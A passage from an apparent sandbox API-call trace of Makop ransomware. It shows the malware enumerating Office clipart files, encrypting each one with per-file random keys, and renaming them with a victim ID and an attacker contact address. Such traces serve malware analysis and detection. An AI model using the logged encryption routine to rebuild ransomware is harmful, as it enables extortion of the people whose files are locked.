hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.420] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa490, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa490, lpOverlapped=0x0) returned 1 [0131.421] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.421] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.421] SetEndOfFile (hFile=0xf0) returned 1 [0131.429] GetProcessHeap () returned 0x48a0000 [0131.429] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.429] GetProcessHeap () returned 0x48a0000 [0131.429] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.429] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.430] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.431] CloseHandle (hObject=0xf0) returned 1 [0131.431] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216570.WMF", cAlternateFileName="")) returned 1 [0131.431] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0131.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.432] GetProcessHeap () returned 0x48a0000 [0131.432] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.433] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.433] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.433] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.437] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.437] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.437] GetProcessHeap () returned 0x48a0000 [0131.437] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.437] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.438] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.438] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.438] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.438] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.438] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.438] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.439] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.439] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.439] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.439] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.439] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x60dc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x60dc, lpOverlapped=0x0) returned 1 [0131.441] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x60e0, dwBufLen=0x60e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x60e0) returned 1 [0131.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.441] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x60e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x60e0, lpOverlapped=0x0) returned 1 [0131.442] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.442] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x61b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.442] SetEndOfFile (hFile=0xf0) returned 1 [0131.449] GetProcessHeap () returned 0x48a0000 [0131.449] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.449] GetProcessHeap () returned 0x48a0000 [0131.449] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.449] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.451] CloseHandle (hObject=0xf0) returned 1 [0131.451] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1 [0131.451] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned 63 [0131.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.452] GetProcessHeap () returned 0x48a0000 [0131.452] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.452] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.452] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.452] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0131.456] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.457] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.457] GetProcessHeap () returned 0x48a0000 [0131.457] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.457] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.457] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.457] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.457] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.457] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.458] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.459] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.459] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.459] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.459] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f46, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f46, lpOverlapped=0x0) returned 1 [0131.460] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f50, dwBufLen=0x1f50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f50) returned 1 [0131.460] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.461] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f50, lpOverlapped=0x0) returned 1 [0131.461] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.461] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.461] SetEndOfFile (hFile=0xf0) returned 1 [0131.469] GetProcessHeap () returned 0x48a0000 [0131.469] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.469] GetProcessHeap () returned 0x48a0000 [0131.469] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.469] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.470] CloseHandle (hObject=0xf0) returned 1 [0131.470] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1 [0131.471] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF") returned 63 [0131.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.480] GetProcessHeap () returned 0x48a0000 [0131.480] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.480] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.480] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.480] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0131.485] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.486] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.486] GetProcessHeap () returned 0x48a0000 [0131.486] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.486] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.486] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.486] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.486] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.486] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.486] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.487] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.487] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.487] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.487] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.487] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.487] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x24e2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x24e2, lpOverlapped=0x0) returned 1 [0131.490] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x24f0, dwBufLen=0x24f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x24f0) returned 1 [0131.490] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.490] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x24f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x24f0, lpOverlapped=0x0) returned 1 [0131.490] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.490] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x25c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.490] SetEndOfFile (hFile=0xf0) returned 1 [0131.497] GetProcessHeap () returned 0x48a0000 [0131.497] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.497] GetProcessHeap () returned 0x48a0000 [0131.498] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.498] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.499] CloseHandle (hObject=0xf0) returned 1 [0131.499] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1 [0131.499] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0131.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.502] GetProcessHeap () returned 0x48a0000 [0131.502] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.502] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.502] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.502] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0131.507] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.507] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.507] GetProcessHeap () returned 0x48a0000 [0131.507] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.507] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.507] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.507] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.508] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.508] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.508] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.508] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.508] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.508] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.508] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.509] 